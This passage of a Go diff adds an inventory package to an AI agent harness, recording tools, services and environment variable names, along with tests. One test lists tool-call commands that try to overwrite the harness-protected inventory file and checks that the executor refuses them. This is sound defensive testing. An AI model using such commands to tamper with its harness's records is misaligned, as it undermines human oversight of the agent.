SetWithheld(own func(path string) bool, list []Withheld) { + var all []Withheld + for _, w := range inv.Withheld { + if !own(w.Path) { + all = append(all, w) + } + } + kept, dropped := newest(append(all, list...), maxWithheld) + inv.Withheld = kept + inv.setOmitted(ListWithheld, dropped) +} + +// OmittedOf is how many entries of a list a bound cut at the last write. +func (inv Inventory) OmittedOf(list string) int { return inv.Omitted[list] } diff --git a/internal/inventory/detached.go b/internal/inventory/detached.go new file mode 100644 index 0000000000..56ee2e571e --- /dev/null +++ b/internal/inventory/detached.go @@ -0,0 +1,51 @@ +package inventory + +import "regexp" + +// hint is one kind of command that starts something outside its own process +// tree, and the command that ends it. It is data: a row is added by naming two +// patterns, and nothing else changes. A hint only ever adds a line to Detached; +// it never gates or runs anything. +type hint struct { + start, stop *regexp.Regexp +} + +func row(start, stop string) hint { + return hint{regexp.MustCompile(start), regexp.MustCompile(stop)} +} + +// detachedHints is the five kinds the record knows. +var detachedHints = []hint{ + row(`^docker\s+compose\b.*\bup\b`, `^docker\s+compose\b.*\b(down|stop|rm)\b`), + row(`^docker\s+run\b.*\s(-d|--detach)\b`, `^docker\s+(stop|rm|kill)\b`), + row(`^docker\s+start\b`, `^docker\s+(stop|rm|kill)\b`), + row(`^brew\s+services\s+start\b`, `^brew\s+services\s+stop\b`), + row(`^systemctl\b.*\bstart\b`, `^systemctl\b.*\bstop\b`), +} + +// applyDetached folds one command that succeeded into the list. A start +// replaces the earlier start of its own kind, so the list holds the latest of +// each; a stop removes the start of its kind, so a service that was brought +// down is not reported as left up. A command that is neither changes nothing. +func applyDetached(list []Detached, command, cwd string) []Detached { + for _, h := range detachedHints { + switch { + case h.start.MatchString(command): + return append(withoutKind(list, h), Detached{Command: command, Cwd: cwd}) + case h.stop.MatchString(command): + return withoutKind(list, h) + } + } + return list +} + +// withoutKind is list without the starts a hint stands for. +func withoutKind(list []Detached, h hint) []Detached { + var out []Detached + for _, d := range list { + if !h.start.MatchString(d.Command) { + out = append(out, d) + } + } + return out +} diff --git a/internal/inventory/inventory.go b/internal/inventory/inventory.go new file mode 100644 index 0000000000..bad0d4d7b8 --- /dev/null +++ b/internal/inventory/inventory.go @@ -0,0 +1,108 @@ +// Package inventory records what a cell's tool calls revealed about its +// environment: which tools ran, which services were left alive, the platform, +// and the names (never the values) of environment variables +// (docs/ARCHITECTURE.md section 8.4, SCHEMAS.md section 7). +// +// Only this package writes .cell/env/inventory.json (law L13). The executor +// tells an [Observer] about each call; the model can add lower-trust notes +// through [Store.Annotate], which touch nothing but the annotations field. +package inventory + +import ( + "github.com/Agent-Field/codeaf/internal/cell" +) + +// Path is the cell-relative location of the inventory file. +const Path = cell.EnvPath + "/inventory.json" + +const schemaV = 1 + +// Tool is one executable a call resolved. BinaryHash identifies the bytes, so +// it means the same on another machine; a machine path would not. +type Tool struct { + Name string `json:"name"` + BinaryHash string `json:"binary_hash"` + VersionString string `json:"version_string,omitempty"` +} + +// Service is a process a call left alive. Whether it is stateful is derived: +// only a data directory inside the cell travels with the chat. +type Service struct { + Name string `json:"name"` + Version string `json:"version,omitempty"` + Ports []int `json:"ports"` + DataDir string `json:"data_dir,omitempty"` +} + +// Stateful reports whether the service keeps data in the cell. +func (s Service) Stateful() bool { return s.DataDir != "" } + +// Platform is the machine that observed the tools. +type Platform struct { + OS string `json:"os"` + Arch string `json:"arch"` +} + +// Running is a command that was alive at a seal: what the chat had going that +// another machine will not have. Cwd is cell-relative (L1) and "." is the root; +// Ports are the TCP ports it listened on, where the platform could say; Since is +// display only and orders nothing. +type Running struct { + Command string `json:"command"` + Cwd string `json:"cwd,omitempty"` + Ports []int `json:"ports,omitempty"` + Since int64 `json:"since,omitempty"` +} + +// Withheld is a folder the seal left out because a lockfile that does travel +// rebuilds it. Lock is that lockfile. MadeBy and Cwd say which command made the +// folder, and are empty when the folder was there before the chat or came from +// another terminal. An entry with a Reason and no Lock is a single path set apart +// (a file this machine could not read, a name it could not keep): nothing +// rebuilds it, and Reason says why. A reader that does not know Reason ignores it. +type Withheld struct { + Path string `json:"path"` + Lock string `json:"lock,omitempty"` + Reason string `json:"reason,omitempty"` + MadeBy string `json:"made_by,omitempty"` + Cwd string `json:"cwd,omitempty"` +} + +// Detached is a container or service a command started outside its own process +// tree, so no process of the chat stands for it. It is a hint that something was +// started, never a promise about what it holds. +type Detached struct { + Command string `json:"command"` + Cwd string `json:"cwd,omitempty"` +} + +// Inventory is .cell/env/inventory.json. V is first so readers can branch on it. +type Inventory struct { + V uint16 `json:"V"` + Tools []Tool `json:"tools,omitempty"` + Services []Service `json:"services,omitempty"` + Platform Platform `json:"platform"` + // Workspace is the folder the seal was taken in, so a machine that receives + // the chat can say the folder changed. It is display only: nothing is ever + // resolved against it (L1). + Workspace string `json:"workspace,omitempty"` + // ChatDir is the chat's own folder when the seal carried files out of it + // (job logs, saved tool output, task journals). The transcript names those + // files by the absolute path they had there, so a machine that receives the + // chat can say where they are now. Display only, like Workspace. + ChatDir string `json:"chat_dir,omitempty"` + Lockfiles []string `json:"lockfiles,omitempty"` + EnvVarNames []string `json:"env_var_names,omitempty"` + // Running, Withheld and Detached are what the chat left behind that a seal + // does not carry (docs/STAGE-1-CONTRACTS.md section 19). The harness writes + // them from what it sees and nothing else does (L13); Omitted counts, per + // list, the entries a bound cut. + Running []Running `json:"running,omitempty"` + Withheld []Withheld `json:"withheld,omitempty"` + Detached []Detached `json:"detached,omitempty"` + Omitted map[string]int `json:"omitted,omitempty"` + // Tests is the last test run a call finished, nil when none was. + Tests *TestRun `json:"tests,omitempty"` + Hints map[string]string `json:"hints,omitempty"` + Annotations map[string]map[string]any `json:"annotations,omitempty"` +} diff --git a/internal/inventory/inventory_test.go b/internal/inventory/inventory_test.go new file mode 100644 index 0000000000..c25b3daced --- /dev/null +++ b/internal/inventory/inventory_test.go @@ -0,0 +1,226 @@ +package inventory + +import ( + "context" + "encoding/json" + "os" + "path/filepath" + "strings" + "sync/atomic" + "testing" + + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/lawcheck" +) + +// rig is a cell root, a directory holding one fake tool, and an observer whose +// version probe counts its calls. +type rig struct { + root, bin string + store *Store + obs *Observer + probes atomic.Int32 +} + +func newRig(t *testing.T, tools ...string) *rig { + t.Helper() + r := &rig{root: t.TempDir(), bin: t.TempDir()} + for _, name := range tools { + if err := os.WriteFile(filepath.Join(r.bin, name), []byte("#!/bin/sh\n"+name), 0o755); err != nil { + t.Fatal(err) + } + } + var err error + if r.store, err = Open(r.root); err != nil { + t.Fatal(err) + } + probes := Probes{"node": {"--version"}} + r.obs = NewObserver(r.store, probes, func(string, []string) string { + r.probes.Add(1) + return "v22.4.0" + }) + return r +} + +func (r *rig) call(argv0 string, env ...string) (executor.ExecRequest, executor.ExecResult) { + return executor.ExecRequest{Argv: []string{argv0, "x"}, Env: append([]string{"PATH=" + r.bin}, env...)}, executor.ExecResult{} +} + +func (r *rig) observe(argv0 string, res func(*executor.ExecResult), env ...string) { + req, out := r.call(argv0, env...) + if res != nil { + res(&out) + } + r.obs.Observe(req, out) +} + +func TestObserverRecordsToolOnce(t *testing.T) { + r := newRig(t, "node") + r.observe("node", nil) + r.observe("node", nil) + tools := r.store.Snapshot().Tools + if len(tools) != 1 || tools[0].Name != "node" || tools[0].BinaryHash == "" || tools[0].VersionString != "v22.4.0" { + t.Fatalf("tools = %+v", tools) + } +} + +func TestVersionProbeRunsOncePerBinaryHash(t *testing.T) { + r := newRig(t, "node") + for i := 0; i < 3; i++ { + r.observe("node", nil) + } + if n := r.probes.Load(); n != 1 { + t.Fatalf("probe ran %d times, want 1", n) + } + // A restarted observer learns the probed hashes from the file. + again := NewObserver(r.store, Probes{"node": {"--version"}}, func(string, []string) string { + r.probes.Add(1) + return "other" + }) + req, res := r.call("node") + again.Observe(req, res) + if n := r.probes.Load(); n != 1 { + t.Fatalf("probe ran again after reopen: %d", n) + } + // New bytes are a new hash and are probed again. + if err := os.WriteFile(filepath.Join(r.bin, "node"), []byte("#!/bin/sh\nnew"), 0o755); err != nil { + t.Fatal(err) + } + again.Observe(req, res) + if n := r.probes.Load(); n != 2 { + t.Fatalf("changed binary not probed: %d", n) + } +} + +func TestToolWithoutProbeKeepsHashOnly(t *testing.T) { + r := newRig(t, "make") + r.observe("make", nil) + tools := r.store.Snapshot().Tools + if len(tools) != 1 || tools[0].VersionString != "" || r.probes.Load() != 0 { + t.Fatalf("tools = %+v probes = %d", tools, r.probes.Load()) + } +} + +func TestServicesAreMerged(t *testing.T) { + r := newRig(t, "node") + r.observe("node", func(res *executor.ExecResult) { + res.Services = []executor.Service{{PGID: 7, Ports: []int{3000}}} + }) + r.observe("node", func(res *executor.ExecResult) { + res.Services = []executor.Service{{PGID: 8, Ports: []int{3001}, DataDir: "var/data"}} + }) + svcs := r.store.Snapshot().Services + if len(svcs) != 1 { + t.Fatalf("services = %+v", svcs) + } + s := svcs[0] + if s.Name != "node" || s.Version != "v22.4.0" || len(s.Ports) != 2 || !s.Stateful() { + t.Fatalf("service = %+v", s) + } +} + +func TestAbsoluteDataDirIsDropped(t *testing.T) { + r := newRig(t, "node") + r.observe("node", func(res *executor.ExecResult) { + res.Services = []executor.Service{{PGID: 7, DataDir: "/var/lib/pg"}} + }) + if s := r.store.Snapshot().Services[0]; s.Stateful() { + t.Fatalf("absolute data dir kept: %+v", s) + } +} + +func TestEnvNamesOnly(t *testing.T) { + r := newRig(t, "node") + r.observe("node", nil, "DATABASE_URL=postgres://u:hunter2@h/db", "TOKEN=s3cret") + raw := readFile(t, r) + if strings.Contains(raw, "hunter2") || strings.Contains(raw, "s3cret") { + t.Fatalf("a value reached the file:\n%s", raw) + } + names := r.store.Snapshot().EnvVarNames + if strings.Join(names, ",") != "DATABASE_URL,PATH,TOKEN" { + t.Fatalf("names = %v", names) + } +} + +func TestWriteIsAtomicAndUnchangedIsNotRewritten(t *testing.T) { + r := newRig(t, "node") + r.observe("node", nil) + dir := filepath.Dir(filepath.Join(r.root, filepath.FromSlash(Path))) + entries, _ := os.ReadDir(dir) + if len(entries) != 1 || entries[0].Name() != "inventory.json" { + t.Fatalf("temp files left behind: %v", entries) + } + before, _ := os.Stat(filepath.Join(dir, "inventory.json")) + r.observe("node", nil) + after, _ := os.Stat(filepath.Join(dir, "inventory.json")) + if !after.ModTime().Equal(before.ModTime()) { + t.Fatal("an identical observation rewrote the file") + } +} + +func TestPersistedFileHasNoAbsolutePathsAndVersionFirst(t *testing.T) { + r := newRig(t, "node") + r.observe("node", func(res *executor.ExecResult) { + res.Services = []executor.Service{{PGID: 7, Ports: []int{1}, DataDir: "var/pg"}} + }) + raw := []byte(readFile(t, r)) + // The fake tool's own PATH entries live in the test, not in the file. + if bad := lawcheck.NoAbsolutePaths(raw); len(bad) > 0 { + t.Fatalf("absolute paths: %q", bad) + } + if !lawcheck.VersionFirst([]byte(strings.Join(strings.Fields(string(raw)), ""))) { + t.Fatalf("V not first:\n%s", raw) + } +} + +func TestRelativeScriptIsNotATool(t *testing.T) { + r := newRig(t) + r.observe("./run.sh", nil) + if n := len(r.store.Snapshot().Tools); n != 0 { + t.Fatalf("recorded %d tools for a cell script", n) + } +} + +func TestAnnotateTouchesOnlyAnnotations(t *testing.T) { + r := newRig(t, "node") + r.observe("node", nil) + before := r.store.Snapshot() + if err := r.store.Annotate("postgres", map[string]any{"optional": true}); err != nil { + t.Fatal(err) + } + after := r.store.Snapshot() + if after.Annotations["postgres"]["optional"] != true { + t.Fatalf("annotation lost: %+v", after.Annotations) + } + after.Annotations = nil + before.Annotations = nil + if !equal(before, after) { + t.Fatalf("Annotate changed another field:\n%+v\n%+v", before, after) + } +} + +func readFile(t *testing.T, r *rig) string { + t.Helper() + b, err := os.ReadFile(filepath.Join(r.root, filepath.FromSlash(Path))) + if err != nil { + t.Fatal(err) + } + return string(b) +} + +// A tool run inside `bash -c` is the shell's child, and the inventory learns it +// from the shell call's command line at the seat's boundary. +func TestAToolRunByBashIsObserved(t *testing.T) { + r := newRig(t, "jq") + t.Setenv("PATH", r.bin) + seat := executor.Watching(executor.Host, r.obs) + args, _ := json.Marshal(map[string]string{"command": "cd sub && jq . a.json | wc -l"}) + err := seat.Around(context.Background(), executor.Call{Tool: "bash", Args: args}, func() ([]byte, bool) { return nil, false }) + if err != nil { + t.Fatal(err) + } + tools := r.store.Snapshot().Tools + if len(tools) != 1 || tools[0].Name != "jq" { + t.Fatalf("the inventory holds %+v, want jq alone", tools) + } +} diff --git a/internal/inventory/law_test.go b/internal/inventory/law_test.go new file mode 100644 index 0000000000..a74e48ab62 --- /dev/null +++ b/internal/inventory/law_test.go @@ -0,0 +1,121 @@ +package inventory + +import ( + "go/ast" + "go/parser" + "go/token" + "io/fs" + "os" + "path/filepath" + "reflect" + "strconv" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/executor" +) + +// ── THE L13 LAW ───────────────────────────────────────────────────────────── +// +// Only the harness writes .cell/env/inventory.json, and only through this +// package (docs/ARCHITECTURE.md section 13). A manifest that a repo, a cell or +// the model can write is a channel for installing software, so: +// +// (a) no other package may name the file: any string literal containing +// "inventory.json" outside internal/inventory is a violation; +// (b) the executor refuses a tool call that reaches into .cell/ by directory +// or by argument, so a tool call cannot write it. +const inventoryFile = "inventory.json" + +// namesInventory returns the position of each string literal in src that +// contains the inventory file name. +func namesInventory(t *testing.T, filename, src string) []string { + t.Helper() + fset := token.NewFileSet() + f, err := parser.ParseFile(fset, filename, src, 0) + if err != nil { + t.Fatal(err) + } + var hits []string + ast.Inspect(f, func(n ast.Node) bool { + lit, ok := n.(*ast.BasicLit) + if !ok || lit.Kind != token.STRING { + return true + } + if s, err := strconv.Unquote(lit.Value); err == nil && strings.Contains(s, inventoryFile) { + hits = append(hits, fset.Position(lit.Pos()).String()) + } + return true + }) + return hits +} + +func TestL13CheckerBites(t *testing.T) { + src := "package p\nvar _ = \".cell/env/inventory.json\"\nvar _ = `x/inventory.json`" + if hits := namesInventory(t, "f.go", src); len(hits) != 2 { + t.Fatalf("want 2 hits, got %v", hits) + } + if hits := namesInventory(t, "f.go", "package p\nvar _ = \"meta.json\""); len(hits) != 0 { + t.Fatalf("false hit: %v", hits) + } +} + +func TestL13OnlyTheInventoryPackageNamesTheFile(t *testing.T) { + root := repoRoot(t) + own := filepath.Join(root, "internal", "inventory") + string(filepath.Separator) + for _, dir := range []string{"internal", "cmd"} { + err := filepath.WalkDir(filepath.Join(root, dir), func(p string, d fs.DirEntry, err error) error { + if err != nil || d.IsDir() || !strings.HasSuffix(p, ".go") || strings.HasSuffix(p, "_test.go") || strings.HasPrefix(p, own) { + return nil + } + src, rerr := os.ReadFile(p) + if rerr != nil { + return rerr + } + for _, hit := range namesInventory(t, p, string(src)) { + t.Errorf("%s names %s outside internal/inventory", hit, inventoryFile) + } + return nil + }) + if err != nil { + t.Fatal(err) + } + } +} + +func TestL13ExecutorRefusesCallsIntoTheCellDirectory(t *testing.T) { + ex := executor.Local{Root: t.TempDir()} + for _, req := range []executor.ExecRequest{ + {Argv: []string{"true"}, Dir: ".cell/env"}, + {Argv: []string{"tee", ".cell/env/" + inventoryFile}}, + {Argv: []string{"cp", "x", "./.cell/env/" + inventoryFile}}, + {Argv: []string{"sh", "-c", "echo {} > .cell/env/" + inventoryFile}}, + {Argv: []string{"tool", "--out=.cell/env/" + inventoryFile}}, + {Argv: []string{"tee", "/some/cell/.cell/env/" + inventoryFile}}, + } { + if _, err := ex.Exec(t.Context(), req, nil); err == nil { + t.Errorf("executor ran %v", req) + } + } + // A path that merely resembles the directory is fine. + if _, err := ex.Exec(t.Context(), executor.ExecRequest{Argv: []string{"true", "my.cell/x", ".cellar"}}, nil); err != nil { + t.Errorf("executor refused a look-alike: %v", err) + } +} + +func repoRoot(t *testing.T) string { + t.Helper() + dir, err := os.Getwd() + if err != nil { + t.Fatal(err) + } + for ; dir != filepath.Dir(dir); dir = filepath.Dir(dir) { + if _, err := os.Stat(filepath.Join(dir, "go.mod")); err == nil { + return dir + } + } + t.Fatal("go.mod not found") + return "" +} + +func equal(a, b Inventory) bool { return reflect.DeepEqual(a, b) } diff --git a/internal/inventory/live.go b/internal/inventory/live.go new file mode 100644 index 0000000000..2b246a032a --- /dev/null +++ b/internal/inventory/live.go @@ -0,0 +1,148 @@ +package inventory + +import ( + "fmt" + "sort" + "strings" + "sync" + "time" + "unicode/utf8" + + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/keys" + "github.com/Agent-Field/codeaf/internal/processgroup" +) + +// Probe asks the machine about a process group. It is an interface so a test +// can say which groups are alive without starting any. +type Probe interface { + Alive(pgid int) bool + Ports(pgid int) []int +} + +// hostProbe asks this machine's own process table. +type hostProbe struct{} + +func (hostProbe) Alive(pgid int) bool { return processgroup.Alive(pgid) } +func (hostProbe) Ports(pgid int) []int { return executor.GroupPorts(pgid) } + +// Live is the commands a session started that may still be running. It is fed +// from two places that see different processes: the job registry, which starts +// background jobs, and the executor's own account of a call that left a process +// behind. It holds no verdict: whether one is alive is asked when the record is +// written, because a process that was killed from outside has told nobody. +type Live struct { + mu sync.Mutex + now func() time.Time + items map[string]liveItem +} + +type liveItem struct { + command string + dir string + pgid int + since int64 +} + +// NewLive makes an empty set that stamps each command with the clock's time. +func NewLive(now func() time.Time) *Live { + if now == nil { + now = time.Now + } + return &Live{now: now, items: map[string]liveItem{}} +} + +var _ executor.Lifecycle = (*Live)(nil) + +func jobKey(id int) string { return fmt.Sprintf("job:%d", id) } +func groupKey(pgid int) string { return fmt.Sprintf("group:%d", pgid) } + +// put stores the command under key. A process group is one thing however many +// sites saw it (a foreground call that was then made a job), so an earlier item +// for the same group is replaced rather than listed twice. +func (l *Live) put(key string, item liveItem) { + l.mu.Lock() + defer l.mu.Unlock() + for other, seen := range l.items { + if seen.pgid == item.pgid { + delete(l.items, other) + } + } + item.since = l.now().UnixMilli() + l.items[key] = item +} + +// Started implements executor.Lifecycle. +func (l *Live) Started(j executor.Job) { + l.put(jobKey(j.ID), liveItem{command: j.Command, dir: j.Dir, pgid: j.PGID}) +} + +// Ended implements executor.Lifecycle: a job that ended, or was killed, leaves. +func (l *Live) Ended(id int) { + l.mu.Lock() + defer l.mu.Unlock() + delete(l.items, jobKey(id)) +} + +// Left records a process group a call left running when it returned. +func (l *Live) Left(s executor.Service, dir string) { + l.put(groupKey(s.PGID), liveItem{command: strings.Join(s.Argv, " "), dir: dir, pgid: s.PGID}) +} + +// Alive is the commands whose process group is running now, oldest first, with +// the ports each listens on and their command lines cleaned of secrets. A group +// the probe finds gone is dropped for good. +func (l *Live) Alive(probe Probe) []Running { + l.mu.Lock() + defer l.mu.Unlock() + var out []Running + for key, item := range l.items { + if !probe.Alive(item.pgid) { + delete(l.items, key) + continue + } + out = append(out, Running{Command: Cleaned(item.command), Cwd: Cwd(item.dir), Ports: probe.Ports(item.pgid), Since: item.since}) + } + sort.Slice(out, func(a, b int) bool { + if out[a].Since != out[b].Since { + return out[a].Since < out[b].Since + } + return out[a].Command < out[b].Command + }) + return out +} + +// Cleaned is a command line as it may be recorded: on one line, secrets +// replaced, and cut to the bound at a character boundary. A secret never enters +// the record (L3). It is one line because a script's line breaks would otherwise +// reach the card a person reads, which shows the first line and loses the rest. +func Cleaned(command string) string { + line := keys.Clean(oneLine(command)) + if len(line) <= maxCommand { + return line + } + cut := maxCommand + for cut > 0 && !utf8.RuneStart(line[cut]) { + cut-- + } + return line[:cut] +} + +// oneLine joins the lines of a script with "; ", dropping blank ones. +func oneLine(command string) string { + var lines []string + for _, line := range strings.Split(command, "\n") { + if line = strings.TrimSpace(line); line != "" { + lines = append(lines, line) + } + } + return strings.Join(lines, "; ") +} + +// Cwd is a folder as the record spells it: cell-relative, with "." for the root. +func Cwd(dir string) string { + if dir == "" { + return "." + } + return dir +} diff --git a/internal/inventory/observer.go b/internal/inventory/observer.go new file mode 100644 index 0000000000..6159c570ba --- /dev/null +++ b/internal/inventory/observer.go @@ -0,0 +1,317 @@ +package inventory + +import ( + "crypto/sha256" + "encoding/hex" + "io" + "os" + "path/filepath" + "sort" + "strings" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/executor" +) + +// Observer turns executed calls into inventory facts. It implements +// executor.Observer and never fails a call: an observation that cannot be +// stored is dropped, because the inventory is a record, not a gate. +type Observer struct { + store *Store + probes Probes + probe Prober + live *Live + procs Probe + // workspace is the folder this observer's calls run in, stamped into the record + // at each refresh so a machine that takes the chat over can say it moved. + workspace string + + mu sync.Mutex + hashes map[fileKey]string // binary hash by path and mtime + probed map[string]string // version by binary hash, present once probed +} + +type fileKey struct { + path string + mtime time.Time +} + +// NewObserver watches calls on behalf of store. A nil probes uses +// DefaultProbes; a nil probe runs the binary. +func NewObserver(store *Store, probes Probes, probe Prober) *Observer { + if probes == nil { + probes = DefaultProbes + } + if probe == nil { + probe = execProbe + } + o := &Observer{store: store, probes: probes, probe: probe, live: NewLive(nil), procs: hostProbe{}, + hashes: map[fileKey]string{}, probed: map[string]string{}} + for _, t := range store.Snapshot().Tools { + o.probed[t.BinaryHash] = t.VersionString + } + return o +} + +var ( + _ executor.Observer = (*Observer)(nil) + _ executor.Lifecycle = (*Observer)(nil) +) + +// Observe records the tool the call ran, the services it left alive, the names +// of the variables it was given, and whether the command started something that +// outlives it. A command that failed started nothing. +func (o *Observer) Observe(req executor.ExecRequest, res executor.ExecResult) { + tool, ok := o.tool(req) + for _, s := range res.Services { + o.live.Left(s, req.Dir) + } + _ = o.store.Update(func(inv *Inventory) { + if ok { + putTool(inv, tool) + } + for _, s := range res.Services { + putService(inv, serviceOf(req, tool, s)) + } + inv.EnvVarNames = union(inv.EnvVarNames, envNames(req.Env)) + if run, ok := testRunOf(Cleaned(scriptOf(req.Argv)), res.Exit, res.Stdout); ok { + inv.Tests = &run + } + if res.Exit == 0 { + inv.SetDetached(applyDetached(inv.Detached, Cleaned(strings.Join(req.Argv, " ")), Cwd(req.Dir))) + } + }) +} + +// Started implements executor.Lifecycle: a job began, and the next seal will +// say it is running. +func (o *Observer) Started(job executor.Job) { o.live.Started(job) } + +// Ended implements executor.Lifecycle. +func (o *Observer) Ended(id int) { o.live.Ended(id) } + +// At names the workspace the observer's calls run in. +func (o *Observer) At(workspace string) { o.workspace = workspace } + +// Refresh makes the record's running list what is alive now. It is called just +// before each seal and replaces the list whole, never merging into it: a process +// that stopped must leave the record, or the next machine is told to expect it. +func (o *Observer) Refresh() { + alive := o.live.Alive(o.procs) + _ = o.store.Update(func(inv *Inventory) { + inv.SetRunning(alive) + if o.workspace != "" { + inv.Workspace = o.workspace + } + }) +} + +// tool resolves argv[0] through PATH, hashes it and finds its version once. +func (o *Observer) tool(req executor.ExecRequest) (Tool, bool) { + return o.toolOn(req.Argv[0], pathOf(req.Env)) +} + +// toolOn is [Observer.tool] for a name and the PATH it is looked up on. +func (o *Observer) toolOn(name, pathList string) (Tool, bool) { + path, ok := resolveTool(name, pathList) + if !ok { + return Tool{}, false + } + hash, ok := o.hash(path) + if !ok { + return Tool{}, false + } + name = filepath.Base(path) + return Tool{Name: name, BinaryHash: hash, VersionString: o.version(name, path, hash)}, true +} + +func (o *Observer) hash(path string) (string, bool) { + info, err := os.Stat(path) + if err != nil { + return "", false + } + key := fileKey{path, info.ModTime()} + o.mu.Lock() + defer o.mu.Unlock() + if h, ok := o.hashes[key]; ok { + return h, true + } + h, err := hashFile(path) + if err != nil { + return "", false + } + o.hashes[key] = h + return h, true +} + +// version probes each binary hash at most once; a tool with no probe entry +// keeps an empty version. +func (o *Observer) version(name, path, hash string) string { + o.mu.Lock() + defer o.mu.Unlock() + if v, done := o.probed[hash]; done { + return v + } + v := "" + if args, ok := o.probes[name]; ok { + v = o.probe(path, args) + } + o.probed[hash] = v + return v +} + +// hashFile is the identity of a binary's bytes. SHA-256 stands in until the +// store's BLAKE3 lands; only this function changes then. +func hashFile(path string) (string, error) { + f, err := os.Open(path) + if err != nil { + return "", err + } + defer f.Close() + h := sha256.New() + if _, err := io.Copy(h, f); err != nil { + return "", err + } + return hex.EncodeToString(h.Sum(nil)), nil +} + +// resolveTool finds the executable a name means. A relative path with a slash +// is a script inside the cell, not a tool, and is not recorded. +func resolveTool(argv0, pathList string) (string, bool) { + if filepath.IsAbs(argv0) { + return argv0, true + } + if strings.ContainsRune(argv0, filepath.Separator) { + return "", false + } + for _, dir := range filepath.SplitList(pathList) { + p := filepath.Join(dir, argv0) + if info, err := os.Stat(p); err == nil && !info.IsDir() && info.Mode()&0o111 != 0 { + return p, true + } + } + return "", false +} + +// pathOf is the PATH the call ran with: its own environment, else ours. +func pathOf(env []string) string { + if env == nil { + return os.Getenv("PATH") + } + for _, kv := range env { + if v, ok := strings.CutPrefix(kv, "PATH="); ok { + return v + } + } + return "" +} + +// envNames keeps the name of each KEY=VALUE pair; values are dropped here. +func envNames(env []string) []string { + var names []string + for _, kv := range env { + if name, _, ok := strings.Cut(kv, "="); ok && name != "" { + names = append(names, name) + } + } + return names +} + +// serviceOf names a service after the executable that started it and takes +// its version from that tool. A data directory that is not cell-relative is +// dropped: it would not travel (L1). +func serviceOf(req executor.ExecRequest, tool Tool, s executor.Service) Service { + out := Service{Name: nameOf(req, s), Version: tool.VersionString, Ports: s.Ports} + if dir := filepath.ToSlash(filepath.Clean(s.DataDir)); s.DataDir != "" && relative(dir) { + out.DataDir = dir + } + return out +} + +// nameOf prefers the name the executor read from the surviving process. +func nameOf(req executor.ExecRequest, s executor.Service) string { + if s.Name != "" { + return s.Name + } + return filepath.Base(req.Argv[0]) +} + +func relative(p string) bool { + return !filepath.IsAbs(p) && !strings.HasPrefix(p, "/") && p != ".." && !strings.HasPrefix(p, "../") +} + +func putTool(inv *Inventory, t Tool) { + for i := range inv.Tools { + if inv.Tools[i].Name == t.Name { + inv.Tools[i] = t + return + } + } + inv.Tools = append(inv.Tools, t) + sort.Slice(inv.Tools, func(i, j int) bool { return inv.Tools[i].Name < inv.Tools[j].Name }) +} + +func putService(inv *Inventory, s Service) { + for i := range inv.Services { + if inv.Services[i].Name == s.Name { + inv.Services[i] = mergeService(inv.Services[i], s) + return + } + } + inv.Services = append(inv.Services, mergeService(Service{}, s)) + sort.Slice(inv.Services, func(i, j int) bool { return inv.Services[i].Name < inv.Services[j].Name }) +} + +// mergeService lets a later sighting add ports and facts but never erase them. +func mergeService(old, next Service) Service { + next.Ports = unionInts(old.Ports, next.Ports) + if next.Version == "" { + next.Version = old.Version + } + if next.DataDir == "" { + next.DataDir = old.DataDir + } + return next +} + +func union(a, b []string) []string { + set := map[string]bool{} + for _, s := range append(append([]string{}, a...), b...) { + set[s] = true + } + out := make([]string, 0, len(set)) + for s := range set { + out = append(out, s) + } + sort.Strings(out) + if len(out) == 0 { + return nil + } + return out +} + +func unionInts(a, b []int) []int { + set := map[int]bool{} + for _, n := range append(append([]int{}, a...), b...) { + set[n] = true + } + out := make([]int, 0, len(set)) + for n := range set { + out = append(out, n) + } + sort.Ints(out) + return out +} + +// Sight records the tool a name resolves to on pathList, as if a call had just +// run it. The harness uses it to look at what a setup turn installed: what the +// inventory learns is what is really there, never what the agent said. +func (o *Observer) Sight(name, pathList string) { + if tool, ok := o.toolOn(name, pathList); ok { + _ = o.store.Update(func(inv *Inventory) { putTool(inv, tool) }) + } +} + +// Resolve finds the executable a name means on pathList. +func Resolve(name, pathList string) (string, bool) { return resolveTool(name, pathList) } diff --git a/internal/inventory/probes.go b/internal/inventory/probes.go new file mode 100644 index 0000000000..8436ec3566 --- /dev/null +++ b/internal/inventory/probes.go @@ -0,0 +1,62 @@ +package inventory + +import ( + "context" + "os/exec" + "strings" + "time" +) + +// Probes is data, not code: tool name -> arguments that make it print its +// version. A tool absent from the table is recorded by binary hash alone. +type Probes map[string][]string + +// DefaultProbes covers the tools most cells use. +var DefaultProbes = Probes{ + "node": {"--version"}, + "npm": {"--version"}, + "pnpm": {"--version"}, + "yarn": {"--version"}, + "bun": {"--version"}, + "python": {"--version"}, + "python3": {"--version"}, + "uv": {"--version"}, + "pip": {"--version"}, + "go": {"version"}, + "cargo": {"--version"}, + "rustc": {"--version"}, + "ruby": {"--version"}, + "git": {"--version"}, + "psql": {"--version"}, + "postgres": {"--version"}, + "redis-server": {"--version"}, + "mysqld": {"--version"}, +} + +const probeTimeout = 5 * time.Second + +// Prober prints the version of the binary at path, or "" when it cannot. +type Prober func(path string, args []string) string + +// execProbe runs the binary with its version arguments; the first output line +// is the version string. +func execProbe(path string, args []string) string { + ctx, cancel := context.WithTimeout(context.Background(), probeTimeout) + defer cancel() + out, err := exec.CommandContext(ctx, path, args...).Output() //codeaf:plumbing version probe of a binary the executor already ran + if err != nil { + return "" + } + line, _, _ := strings.Cut(strings.TrimSpace(string(out)), "\n") + return strings.TrimSpace(line) +} + +// Version prints the version line of the binary at path using the default +// probe for name, or "" when the tool has no probe or does not answer. +func Version(name, path string) string { + args, ok := DefaultProbes[name] + if !ok { + return "" + } + return execProbe(path, args) +} diff --git a/internal/inventory/record_test.go b/internal/inventory/record_test.go new file mode 100644 index 0000000000..1eb9194213 --- /dev/null +++ b/internal/inventory/record_test.go @@ -0,0 +1,270 @@ +package inventory + +import ( + "encoding/json" + "os" + "path/filepath" + "reflect" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/executor" +) + +// fakeProbe says which process groups are alive and what they listen on. +type fakeProbe struct { + alive map[int]bool + ports map[int][]int +} + +func (f fakeProbe) Alive(pgid int) bool { return f.alive[pgid] } +func (f fakeProbe) Ports(pgid int) []int { return f.ports[pgid] } + +func (r *rig) processes(p fakeProbe) { r.obs.procs = p } + +func (r *rig) running() []Running { + r.obs.Refresh() + return 